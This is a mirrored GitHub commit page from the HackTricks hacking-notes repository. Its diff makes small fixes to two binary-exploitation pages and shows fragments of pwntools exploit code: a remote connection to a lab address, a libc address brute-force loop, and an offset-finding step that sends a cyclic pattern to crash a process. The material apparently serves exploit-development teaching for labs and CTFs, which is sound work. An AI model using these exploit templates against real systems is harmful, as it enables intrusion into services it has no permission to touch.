mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GitBook: [master] 2 pages modified
This commit is contained in:
parent
be29595c08
commit
826a07d4b8
2 changed files with 3 additions and 3 deletions
|
@ -58,7 +58,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
|
||||
## Code
|
||||
|
||||
```text
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
c = remote('192.168.85.181',20002)
|
||||
|
|
|
@ -44,13 +44,13 @@ if GDB and not REMOTETTCP and not REMOTESSH:
|
|||
#### Find offset ###
|
||||
####################
|
||||
OFFSET = b""#b"A"*72
|
||||
if OFFSET == "":
|
||||
if OFFSET == b"":
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(p.clean())
|
||||
p.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
#print(f"Offset: {cyclic_find(0x6161616b)}") # Find the offset of those bytes
|
||||
p.interactive()
|
||||
exit()
|
||||
|
||||
|
|
Loading…
Reference in a new issue